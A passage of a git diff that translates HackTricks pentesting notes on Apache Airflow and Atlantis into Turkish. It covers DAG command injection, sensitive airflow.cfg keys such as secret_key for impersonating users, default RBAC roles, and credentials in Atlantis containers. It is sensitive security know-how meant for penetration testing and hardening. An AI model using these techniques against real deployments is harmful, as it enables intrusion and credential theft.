**DAG scriptleri** oluşturabilirsiniz ve bunlar **DAG kümesindeki diğer makinelere kopyalanacaktır.** -If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster. +#### DAG Kod Enjeksiyonu -#### DAG Code Injection +GUI'den bir DAG çalıştırdığınızda ona **argümanlar** geçirebilirsiniz.\ +Bu nedenle, eğer DAG düzgün kodlanmamışsa **Komut Enjeksiyonuna karşı savunmasız** olabilir.\ +Bu, bu CVE'de olan bir durumdur: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -When you execute a DAG from the GUI you can **pass arguments** to it.\ -Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\ -That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) - -All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**. - -Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**: +**DAG'lerde komut enjeksiyonları aramaya başlamak için bilmeniz gereken tek şey**, **parametrelerin** **`dag_run.conf.get("param_name")`** kodu ile **erişildiğidir.** +Ayrıca, aynı zafiyet **değişkenlerle** de meydana gelebilir (yeterli ayrıcalıklara sahip olduğunuzda GUI'de **değişkenlerin değerini kontrol edebilirsiniz**). Değişkenler **şu şekilde erişilir**: ```python from airflow.models import Variable [...] foo = Variable.get("foo") ``` - -If they are used for example inside a a bash command, you could perform a command injection. +Eğer örneğin bir bash komutunun içinde kullanılırlarsa, bir komut enjeksiyonu gerçekleştirebilirsiniz. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index 5fd8e486b..261a69bf0 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -4,112 +4,102 @@ ## Configuration File -**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.** +**Apache Airflow**, tüm airflow makinelerinde **`airflow.cfg`** adında bir **config dosyası** oluşturur. Bu config dosyası, yapılandırma bilgilerini içerir ve **ilginç ve hassas bilgiler içerebilir.** -**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.** +**Bu dosyaya erişmenin iki yolu vardır: bazı airflow makinelerini tehlikeye atarak veya web konsoluna erişerek.** -Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. +**Config dosyasındaki değerlerin** **kullanılanlar olmayabileceğini** unutmayın; bunları `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` gibi ortam değişkenleri ayarlayarak geçersiz kılabilirsiniz. -If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\ -If you have **access to some machine inside the airflow env**, check the **environment**. +Eğer **web sunucusundaki config dosyasına** erişiminiz varsa, config'in görüntülendiği aynı sayfada **gerçek çalışan yapılandırmayı** kontrol edebilirsiniz.\ +Eğer **airflow ortamındaki bir makineye** erişiminiz varsa, **ortamı** kontrol edin. -Some interesting values to check when reading the config file: +Config dosyasını okurken kontrol edilecek bazı ilginç değerler: ### \[api] -- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS** -- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS** -- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS** -- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API: - - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API - - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication - - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication** - - `airflow.api.auth.backend.basic_auth`: For **basic authentication** - - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)). - - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default). - - You can also **create you own authentication** method with python. -- **`google_key_path`:** Path to the **GCP service account key** +- **`access_control_allow_headers`**: Bu, **CORS** için **izin verilen** **başlıkları** gösterir. +- **`access_control_allow_methods`**: Bu, **CORS** için **izin verilen yöntemleri** gösterir. +- **`access_control_allow_origins`**: Bu, **CORS** için **izin verilen kökenleri** gösterir. +- **`auth_backend`**: [**Belgelerde belirtildiği gibi**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) API'ye kimlerin erişebileceğini yapılandırmak için birkaç seçenek olabilir: +- `airflow.api.auth.backend.deny_all`: **Varsayılan olarak kimse** API'ye erişemez. +- `airflow.api.auth.backend.default`: **Herkes** kimlik doğrulaması olmadan erişebilir. +- `airflow.api.auth.backend.kerberos_auth`: **kerberos kimlik doğrulamasını** yapılandırmak için. +- `airflow.api.auth.backend.basic_auth`: **temel kimlik doğrulaması** için. +- `airflow.composer.api.backend.composer_auth`: Kompozitör kimlik doğrulamasını kullanır (GCP) ( [**buradan**](https://cloud.google.com/composer/docs/access-airflow-api)). +- `composer_auth_user_registration_role`: Bu, **airflow** içinde **kompozitör kullanıcısının** alacağı **rolü** gösterir (**Op** varsayılan olarak). +- Ayrıca **kendi kimlik doğrulama** yöntemlerinizi python ile oluşturabilirsiniz. +- **`google_key_path`:** **GCP hizmet hesabı anahtarının** yolu. ### **\[atlas]** -- **`password`**: Atlas password -- **`username`**: Atlas username +- **`password`**: Atlas şifresi. +- **`username`**: Atlas kullanıcı adı. ### \[celery] -- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_) -- **`result_backend`**: Postgres url which may contain **credentials**. -- **`ssl_cacert`**: Path to the cacert -- **`ssl_cert`**: Path to the cert -- **`ssl_key`**: Path to the key +- **`flower_basic_auth`** : Kimlik bilgileri (_user1:password1,user2:password2_) +- **`result_backend`**: **kimlik bilgileri** içerebilecek Postgres url'si. +- **`ssl_cacert`**: cacert'in yolu. +- **`ssl_cert`**: sertifikanın yolu. +- **`ssl_key`**: anahtarın yolu. ### \[core] -- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`. -- **`fernet_key`**: Key to store encrypted variables (symmetric) -- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections. -- **`security`**: What security module to use (for example kerberos) +- **`dag_discovery_safe_mode`**: Varsayılan olarak etkin. DAG'leri keşfederken, `DAG` ve `airflow` dizelerini içermeyen dosyaları göz ardı edin. +- **`fernet_key`**: Şifrelenmiş değişkenleri saklamak için anahtar (simetrik). +- **`hide_sensitive_var_conn_fields`**: Varsayılan olarak etkin, bağlantıların hassas bilgilerini gizler. +- **`security`**: Hangi güvenlik modülünün kullanılacağı (örneğin kerberos). ### \[dask] -- **`tls_ca`**: Path to ca -- **`tls_cert`**: Part to the cert -- **`tls_key`**: Part to the tls key +- **`tls_ca`**: ca'nın yolu. +- **`tls_cert`**: sertifikanın yolu. +- **`tls_key`**: tls anahtarının yolu. ### \[kerberos] -- **`ccache`**: Path to ccache file -- **`forwardable`**: Enabled by default +- **`ccache`**: ccache dosyasının yolu. +- **`forwardable`**: Varsayılan olarak etkin. ### \[logging] -- **`google_key_path`**: Path to GCP JSON creds. +- **`google_key_path`**: GCP JSON kimlik bilgilerine giden yol. ### \[secrets] -- **`backend`**: Full class name of secrets backend to enable -- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class. +- **`backend`**: Etkinleştirilecek gizli arka uç sınıfının tam adı. +- **`backend_kwargs`**: backend_kwargs parametresi bir sözlüğe yüklenir ve gizli arka uç sınıfının **init**'ine geçirilir. ### \[smtp] -- **`smtp_password`**: SMTP password -- **`smtp_user`**: SMTP user +- **`smtp_password`**: SMTP şifresi. +- **`smtp_user`**: SMTP kullanıcısı. ### \[webserver] -- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value -- **`cookie_secure`**: Set **secure flag** on the the session cookie -- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console** -- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker) -- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**) -- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert** -- **`web_server_ssl_key`**: **Path** to the **SSL** **Key** -- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible +- **`cookie_samesite`**: Varsayılan olarak **Lax**'dır, bu nedenle zaten mümkün olan en zayıf değerdir. +- **`cookie_secure`**: oturum çerezinde **güvenli bayrağı** ayarlayın. +- **`expose_config`**: Varsayılan olarak False'dur, eğer true ise, **config** web **konsolundan** **okunabilir**. +- **`expose_stacktrace`**: Varsayılan olarak True'dur, **python traceback'lerini** gösterecektir (potansiyel olarak bir saldırgan için yararlı). +- **`secret_key`**: Bu, **flask'ın çerezleri imzalamak için kullandığı anahtardır** (eğer buna sahipseniz, **Airflow'daki herhangi bir kullanıcıyı taklit edebilirsiniz**). +- **`web_server_ssl_cert`**: **SSL** **sertifikasının** **yolu**. +- **`web_server_ssl_key`**: **SSL** **Anahtarının** **yolu**. +- **`x_frame_enabled`**: Varsayılan **True**'dur, bu nedenle varsayılan olarak clickjacking mümkün değildir. ### Web Authentication -By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as - +Varsayılan olarak **web kimlik doğrulaması**, **`webserver_config.py`** dosyasında belirtilmiştir ve şu şekilde yapılandırılmıştır: ```bash AUTH_TYPE = AUTH_DB ``` - -Which means that the **authentication is checked against the database**. However, other configurations are possible like - +Bu, **kimlik doğrulamanın veritabanına karşı kontrol edildiği** anlamına gelir. Ancak, diğer yapılandırmalar da mümkündür, örneğin ```bash AUTH_TYPE = AUTH_OAUTH ``` +**Üçüncü taraf hizmetlere** **kimlik doğrulamasını** bırakmak için. -To leave the **authentication to third party services**. - -However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**: - +Ancak, **anonim kullanıcıların erişimine** izin vermek için de bir seçenek vardır, aşağıdaki parametreyi **istenen role** ayarlayarak: ```bash AUTH_ROLE_PUBLIC = 'Admin' ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index 7ff782327..226c3531e 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,44 +4,40 @@ ## RBAC -(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles. +(Dokümanlardan)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow, varsayılan olarak **bir dizi rol ile birlikte gelir**: **Admin**, **Kullanıcı**, **Op**, **Görüntüleyici** ve **Herkese Açık**. **Sadece `Admin`** kullanıcıları **diğer rollerin izinlerini yapılandırabilir/değiştirebilir**. Ancak `Admin` kullanıcılarının bu varsayılan rolleri, bu rollere izin ekleyerek veya çıkararak değiştirmeleri önerilmez. -- **`Admin`** users have all possible permissions. -- **`Public`** users (anonymous) don’t have any permissions. -- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.** -- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file** -- **`Op`** users have `User` permissions plus additional op permissions. +- **`Admin`** kullanıcıları tüm olası izinlere sahiptir. +- **`Public`** kullanıcıları (anonim) hiçbir izne sahip değildir. +- **`Viewer`** kullanıcıları sınırlı görüntüleme izinlerine sahiptir (sadece okuma). **Yapılandırmayı göremez.** +- **`User`** kullanıcıları `Viewer` izinlerine ek olarak DAG'leri biraz yönetmelerine olanak tanıyan ek kullanıcı izinlerine sahiptir. **Yapılandırma dosyasını görebilir.** +- **`Op`** kullanıcıları `User` izinlerine ek olarak ek op izinlerine sahiptir. -Note that **admin** users can **create more roles** with more **granular permissions**. +**Admin** kullanıcılarının daha fazla **granüler izinlere sahip daha fazla rol oluşturabileceğini** unutmayın. -Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that. +Ayrıca, **kullanıcıları ve rolleri listeleme iznine sahip tek varsayılan rol Admin'dir, Op bile bunu yapamayacaktır.** -### Default Permissions +### Varsayılan İzinler -These are the default permissions per default role: +Varsayılan role göre varsayılan izinler şunlardır: - **Admin** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs] +\[Bağlantılarda silebilir, Bağlantılarda okuyabilir, Bağlantılarda düzenleyebilir, Bağlantılarda oluşturabilir, DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, Havuzlarda silebilir, Havuzlarda okuyabilir, Havuzlarda düzenleyebilir, Havuzlarda oluşturabilir, Sağlayıcılarda okuyabilir, Değişkenlerde silebilir, Değişkenlerde okuyabilir, Değişkenlerde düzenleyebilir, Değişkenlerde oluşturabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Yapılandırmalarda okuyabilir, Eklentilerde okuyabilir, Rollerde okuyabilir, İzinlerde okuyabilir, Rollerde silebilir, Rollerde düzenleyebilir, Rollerde oluşturabilir, Kullanıcılarda okuyabilir, Kullanıcılarda oluşturabilir, Kullanıcılarda düzenleyebilir, Kullanıcılarda silebilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir, Admin menüsüne erişim, Yapılandırmalar menüsüne erişim, Bağlantılar menüsüne erişim, Havuzlar menüsüne erişim, Değişkenler menüsüne erişim, XCom'larda silebilir, Görev Yeniden Planlamalarında okuyabilir, Görev Yeniden Planlamaları menüsüne erişim, Tetikleyicilerde okuyabilir, Tetikleyiciler menüsüne erişim, Şifrelerde okuyabilir, Şifrelerde düzenleyebilir, Kullanıcıları Listele menüsüne erişim, Güvenlik menüsüne erişim, Roller Listesi menüsüne erişim, Kullanıcı İstatistikleri Grafiğinde okuyabilir, Kullanıcı İstatistikleri menüsüne erişim, Temel İzinler menüsüne erişim, Görünüm Menülerinde okuyabilir, Görünümler/Menüler menüsüne erişim, İzin Görünümlerinde okuyabilir, Görünümler/Menülerde İzin menüsüne erişim, MenuApi'de alabilir, Sağlayıcılarda menü erişimi, XCom'larda oluşturabilir] - **Op** -\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs] +\[Bağlantılarda silebilir, Bağlantılarda okuyabilir, Bağlantılarda düzenleyebilir, Bağlantılarda oluşturabilir, DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, Havuzlarda silebilir, Havuzlarda okuyabilir, Havuzlarda düzenleyebilir, Havuzlarda oluşturabilir, Sağlayıcılarda okuyabilir, Değişkenlerde silebilir, Değişkenlerde okuyabilir, Değişkenlerde düzenleyebilir, Değişkenlerde oluşturabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Yapılandırmalarda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir, Admin menüsüne erişim, Yapılandırmalar menüsüne erişim, Bağlantılar menüsüne erişim, Havuzlar menüsüne erişim, Değişkenler menüsüne erişim, XCom'larda silebilir] - **User** -\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances] +\[DAG'lerde okuyabilir, DAG'lerde düzenleyebilir, DAG'lerde silebilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Görev Örneklerinde düzenleyebilir, DAG Çalışmalarında silebilir, DAG Çalışmalarında oluşturabilir, DAG Çalışmalarında düzenleyebilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim, Görev Örneklerinde oluşturabilir, Görev Örneklerinde silebilir] - **Viewer** -\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances] +\[DAG'lerde okuyabilir, DAG Çalışmalarında okuyabilir, Görev Örneklerinde okuyabilir, Denetim Kayıtlarında okuyabilir, ImportError'da okuyabilir, XCom'larda okuyabilir, DAG Kodunda okuyabilir, Eklentilerde okuyabilir, DAG Bağımlılıklarında okuyabilir, İşlerde okuyabilir, Şifremde okuyabilir, Şifremde düzenleyebilir, Profilimde okuyabilir, Profilimde düzenleyebilir, SLA Kaçırmalarında okuyabilir, Görev Kayıtlarında okuyabilir, Web sitesinde okuyabilir, Gözat menüsüne erişim, DAG Bağımlılıkları menüsüne erişim, DAG Çalışmaları menüsüne erişim, Dokümantasyon menüsüne erişim, Belgeler menüsüne erişim, İşler menüsüne erişim, Denetim Kayıtları menüsüne erişim, Eklentiler menüsüne erişim, SLA Kaçırmaları menüsüne erişim, Görev Örnekleri menüsüne erişim] - **Public** \[] {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index a4b35140f..f9992b04f 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -4,109 +4,109 @@ ### Basic Information -Atlantis basically helps you to to run terraform from Pull Requests from your git server. +Atlantis temelde git sunucunuzdan Pull Request'lerden terraform çalıştırmanıza yardımcı olur. ![](<../images/image (161).png>) ### Local Lab -1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you. -2. Create a **personal token** (with repo access) of your **github** user -3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis** - 1. You can access the web page in 127.0.0.1:4141 +1. [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) adresindeki **atlantis sürüm sayfasına** gidin ve size uygun olanı **indirin**. +2. **github** kullanıcınız için bir **kişisel token** (repo erişimi ile) oluşturun. +3. `./atlantis testdrive` komutunu çalıştırın ve **atlantis ile iletişim kurabileceğiniz bir demo repo** oluşturulacaktır. +1. Web sayfasına 127.0.0.1:4141 adresinden erişebilirsiniz. ### Atlantis Access #### Git Server Credentials -**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\ -However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\ -[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts. +**Atlantis**, **Github**, **Gitlab**, **Bitbucket** ve **Azure DevOps** gibi birkaç git sunucusunu destekler.\ +Ancak, bu platformlardaki repo'lara erişmek ve işlemler gerçekleştirmek için bazı **ayrıcalıklı erişimlerin verilmesi** gerekir (en azından yazma izinleri).\ +[**Belgeler**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional), Atlantis için bu platformlarda özel bir kullanıcı oluşturulmasını teşvik eder, ancak bazı kişiler kişisel hesaplar kullanabilir. > [!WARNING] -> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**. +> Her durumda, bir saldırganın perspektifinden, **Atlantis hesabı** çok **ilginç** bir **hedef** olacaktır. #### Webhooks -Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**. +Atlantis, Git sunucunuzdan aldığı **webhook'ların** **geçerli** olduğunu doğrulamak için isteğe bağlı olarak [**Webhook gizli anahtarları**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) kullanır. -One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret. +Bunu doğrulamanın bir yolu, **isteklerin yalnızca Git sunucunuzun IP'lerinden gelmesine izin vermek** olacaktır, ancak daha kolay bir yol Webhook Gizli Anahtarı kullanmaktır. -Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet. +Özel bir github veya bitbucket sunucusu kullanmadığınız sürece, webhook uç noktalarını internete açmanız gerekecektir. > [!WARNING] -> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**. +> Atlantis, git sunucusunun bilgi gönderebilmesi için **webhook'ları açıyor**. Bir saldırganın perspektifinden, **ona mesaj gönderebilir misiniz** bilmek ilginç olacaktır. #### Provider Credentials -[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html) +[Belgelerden:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. +Atlantis, **Atlantis'in barındırıldığı** sunucuda `terraform plan` ve `apply` komutlarını **çalıştırarak** Terraform'u çalıştırır. Terraform'u yerel olarak çalıştırdığınızda olduğu gibi, Atlantis'in belirli sağlayıcınız için kimlik bilgilerine ihtiyacı vardır. -It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis: +Atlantis'e belirli sağlayıcınız için [kimlik bilgilerini nasıl sağladığınız](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) size bağlıdır: -- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs. -- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex: - - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role") - - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running. -- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running. -- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials. +- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) ve [AWS Fargate Modülü](https://www.runatlantis.io/docs/deployment.html#aws-fargate) kendi kimlik bilgisi mekanizmalarına sahiptir. Belgelerini okuyun. +- Atlantis'i bir bulutta çalıştırıyorsanız, birçok bulut, üzerinde çalışan uygulamalara bulut API erişimi verme yollarına sahiptir, örneğin: +- [AWS EC2 Rolleri](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Arama "EC2 Rolü") +- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- Birçok kullanıcı, Atlantis'in çalıştığı yerde ortam değişkenleri ayarlar, örn. `AWS_ACCESS_KEY`. +- Diğerleri, Atlantis'in çalıştığı yerde gerekli yapılandırma dosyalarını oluşturur, örn. `~/.aws/credentials`. +- Sağlayıcı kimlik bilgilerini elde etmek için [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) kullanın. > [!WARNING] -> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform. +> **Atlantis'in** **çalıştığı** **konteyner**, muhtemelen Atlantis'in Terraform aracılığıyla yönettiği sağlayıcılara (AWS, GCP, Github...) ait **ayrıcalıklı kimlik bilgilerini** içerecektir. #### Web Page -By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful). +Varsayılan olarak Atlantis, **localhost'ta 4141 portunda bir web sayfası çalıştıracaktır**. Bu sayfa, atlantis apply'i etkinleştirip devre 